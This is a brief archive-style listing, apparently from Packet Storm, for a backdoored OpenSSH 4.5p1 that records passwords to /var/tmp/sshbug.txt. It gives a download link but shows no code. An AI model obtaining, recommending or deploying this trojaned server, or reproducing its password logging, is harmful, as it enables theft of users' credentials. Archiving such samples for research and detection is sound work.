Backdoored version of OpenSSH 4.5p1 that logs passwords to /var/tmp/sshbug.txt.
You can download it from the following link: https://packetstormsecurity.com/files/download/52201/openssh-4.5p1_backdoored.tar.gz
Source: https://packetstormsecurity.com/files/52201/openssh-4.5p1_backdoored.tar.gz.html